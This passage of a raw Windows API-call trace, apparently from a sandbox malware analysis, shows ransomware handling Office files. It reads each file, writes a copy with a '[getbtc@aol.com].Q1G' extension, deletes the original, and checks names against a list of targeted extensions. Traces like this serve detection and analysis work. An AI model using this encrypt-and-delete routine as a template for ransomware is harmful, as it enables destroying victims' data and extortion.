dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.338] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=389716) returned 1 [0251.117] CloseHandle (hObject=0x398) returned 1 [0251.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs")) returned 0x20 [0251.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.484] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.484] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0251.485] GetLastError () returned 0x0 [0251.485] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x5f254, lpOverlapped=0x0) returned 1 [0251.496] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x5f260, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x5f260, lpOverlapped=0x0) returned 1 [0251.502] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.502] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0251.502] SetEndOfFile (hFile=0x1f8) returned 1 [0251.502] CloseHandle (hObject=0x1f8) returned 1 [0251.502] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.503] SetEndOfFile (hFile=0x398) returned 1 [0251.519] CloseHandle (hObject=0x398) returned 1 [0251.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs")) returned 1 [0251.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0251.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0251.520] lstrlenW (lpString=".doc") returned 4 [0251.520] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0251.520] lstrlenW (lpString=".docx") returned 5 [0251.520] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0251.520] lstrlenW (lpString=".pdf") returned 4 [0251.520] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0251.520] lstrlenW (lpString=".xls") returned 4 [0251.520] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0251.520] lstrlenW (lpString=".xlsx") returned 5 [0251.520] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0251.520] lstrlenW (lpString=".ppt") returned 4 [0251.520] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0251.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0251.520] lstrlenW (lpString=".zip") returned 4 [0251.520] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0251.520] lstrlenW (lpString=".rar") returned 4 [0251.520] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0251.520] lstrlenW (lpString=".bz2") returned 4 [0251.520] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0251.520] lstrlenW (lpString=".7z") returned 3 [0251.520] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0251.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0251.520] lstrlenW (lpString=".dbf") returned 4 [0251.520] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0251.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0251.520] lstrlenW (lpString=".1cd") returned 4 [0251.520] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0251.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0251.520] lstrlenW (lpString=".jpg") returned 4 [0251.520] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0251.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0251.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0251.521] lstrlenW (lpString=".doc") returned 4 [0251.521] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0251.521] lstrlenW (lpString=".docx") returned 5 [0251.521] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0251.521] lstrlenW (lpString=".pdf") returned 4 [0251.521] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0251.521] lstrlenW (lpString=".xls") returned 4 [0251.521] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0251.521] lstrlenW (lpString=".xlsx") returned 5 [0251.521] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0251.521] lstrlenW (lpString=".ppt") returned 4 [0251.521] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0251.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0251.521] lstrlenW (lpString=".zip") returned 4 [0251.521] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0251.521] lstrlenW (lpString=".rar") returned 4 [0251.521] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0251.521] lstrlenW (lpString=".bz2") returned 4 [0251.521] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0251.521] lstrlenW (lpString=".7z") returned 3 [0251.521] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0251.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0251.521] lstrlenW (lpString=".dbf") returned 4 [0251.521] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0251.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0251.521] lstrlenW (lpString=".1cd") returned 4 [0251.521] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0251.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0251.521] lstrlenW (lpString=".jpg") returned 4 [0251.521] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0251.521] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0251.521] lstrlenW (lpString="NETWORK2.VRD") returned 12 [0251.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.522] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=2150) returned 1 [0251.522] CloseHandle (hObject=0x398) returned 1 [0251.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd")) returned 0x20 [0251.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.522] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.523] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0251.523] GetLastError () returned 0x0 [0251.523] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x866, lpOverlapped=0x0) returned 1 [0251.758] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x870, lpOverlapped=0x0) returned 1 [0251.759] ReadFile (in: hFile=0x398, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.759] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.759] SetEndOfFile (hFile=0x1f8) returned 1 [0251.759] CloseHandle (hObject=0x1f8) returned 1 [0251.759] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.759] SetEndOfFile (hFile=0x398) returned 1 [0251.761] CloseHandle (hObject=0x398) returned 1 [0251.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd")) returned 1 [0251.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0251.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0251.811] lstrlenW (lpString=".doc") returned 4 [0251.811] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0251.811] lstrlenW (lpString=".docx") returned 5 [0251.811] lstrcmpiW (lpString1=".docx", lpString2="2.VRD") returned -1 [0251.811] lstrlenW (lpString=".pdf") returned 4 [0251.811] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0251.811] lstrlenW (lpString=".xls") returned 4 [0251.811] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0251.811] lstrlenW (lpString=".xlsx") returned 5 [0251.811] lstrcmpiW (lpString1=".xlsx", lpString2="2.VRD") returned -1 [0251.811] lstrlenW (lpString=".ppt") returned 4 [0251.811] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0251.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0251.811] lstrlenW (lpString=".zip") returned 4 [0251.811] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0251.811] lstrlenW (lpString=".rar") returned 4 [0251.811] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0251.811] lstrlenW (lpString=".bz2") returned 4 [0251.811] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0251.811] lstrlenW (lpString=".7z") returned 3 [0251.811] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0251.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0251.811] lstrlenW (lpString=".dbf") returned 4 [0251.811] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0251.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0251.811] lstrlenW (lpString=".1cd") returned 4 [0251.811] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0251.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0251.811] lstrlenW (lpString=".jpg") returned 4 [0251.812] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0251.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0251.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0251.812] lstrlenW (lpString=".doc") returned 4 [0251.812] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0251.812] lstrlenW (lpString=".docx") returned 5 [0251.812] lstrcmpiW (lpString1=".docx", lpString2="2.VRD") returned -1 [0251.812] lstrlenW (lpString=".pdf") returned 4 [0251.812] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0251.812] lstrlenW (lpString=".xls") returned 4 [0251.812] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0251.812] lstrlenW (lpString=".xlsx") returned 5 [0251.812] lstrcmpiW (lpString1=".xlsx", lpString2="2.VRD") returned -1 [0251.812] lstrlenW (lpString=".ppt") returned 4 [0251.812] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0251.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0251.812] lstrlenW (lpString=".zip") returned 4 [0251.812] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0251.812] lstrlenW (lpString=".rar") returned 4 [0251.812] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0251.812] lstrlenW (lpString=".bz2") returned 4 [0251.812] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0251.812] lstrlenW (lpString=".7z") returned 3 [0251.812] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0251.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0251.812] lstrlenW (lpString=".dbf") returned 4 [0251.812] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0251.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0251.812] lstrlenW (lpString=".1cd") returned 4 [0251.812] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0251.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD") returned 60 [0251.812] lstrlenW (lpString=".jpg") returned 4 [0251.812] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0251.813] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0251.813] lstrlenW (lpString="OMSINTL.DLL") returned 11 [0251.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.868] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=401792) returned 1 [0251.868] CloseHandle (hObject=0x324) returned 1 [0251.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll")) returned 0x20 [0251.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0251.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0251.869] lstrlenW (lpString=".doc") returned 4 [0251.869] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0251.869] lstrlenW (lpString=".docx") returned 5 [0251.869] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0251.869] lstrlenW (lpString=".pdf") returned 4 [0251.869] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0251.869] lstrlenW (lpString=".xls") returned 4 [0251.869] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0251.869] lstrlenW (lpString=".xlsx") returned 5 [0251.869] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0251.869] lstrlenW (lpString=".ppt") returned 4 [0251.869] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0251.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0251.869] lstrlenW (lpString=".zip") returned 4 [0251.869] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0251.869] lstrlenW (lpString=".rar") returned 4 [0251.869] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0251.869] lstrlenW (lpString=".bz2") returned 4 [0251.869] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0251.869] lstrlenW (lpString=".7z") returned 3 [0251.869] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0251.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0251.869] lstrlenW (lpString=".dbf") returned 4 [0251.869] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0251.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0251.869] lstrlenW (lpString=".1cd") returned 4 [0251.869] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0251.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0251.869] lstrlenW (lpString=".jpg") returned 4 [0251.869] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0251.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0251.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0251.869] lstrlenW (lpString=".doc") returned 4 [0251.869] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0251.870] lstrlenW (lpString=".docx") returned 5 [0251.870] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0251.870] lstrlenW (lpString=".pdf") returned 4 [0251.870] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0251.870] lstrlenW (lpString=".xls") returned 4 [0251.870] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0251.870] lstrlenW (lpString=".xlsx") returned 5 [0251.870] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0251.870] lstrlenW (lpString=".ppt") returned 4 [0251.870] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0251.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0251.870] lstrlenW (lpString=".zip") returned 4 [0251.870] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0251.870] lstrlenW (lpString=".rar") returned 4 [0251.870] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0251.870] lstrlenW (lpString=".bz2") returned 4 [0251.870] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0251.870] lstrlenW (lpString=".7z") returned 3 [0251.870] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0251.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0251.870] lstrlenW (lpString=".dbf") returned 4 [0251.870] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0251.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0251.870] lstrlenW (lpString=".1cd") returned 4 [0251.870] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0251.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0251.870] lstrlenW (lpString=".jpg") returned 4 [0251.870] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0251.870] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0251.870] lstrlenW (lpString="OMSINTL.DLL.IDX_DLL") returned 19 [0251.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.980] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=24960) returned 1 [0251.980] CloseHandle (hObject=0x398) returned 1 [0251.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll")) returned 0x20 [0252.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0252.134] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.135] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0252.155] GetLastError () returned 0x0 [0252.155] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x6180, lpOverlapped=0x0) returned 1 [0252.194] WriteFile (in: hFile=0x3a8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x6190, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x6190, lpOverlapped=0x0) returned 1 [0252.196] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.196] WriteFile (in: hFile=0x3a8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0252.196] SetEndOfFile (hFile=0x3a8) returned 1 [0252.196] CloseHandle (hObject=0x3a8) returned 1 [0252.196] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.196] SetEndOfFile (hFile=0x1f8) returned 1 [0252.198] CloseHandle (hObject=0x1f8) returned 1 [0252.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll")) returned 1 [0252.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0252.425] lstrlenW (lpString="C:\\Program Files\\Microsoft 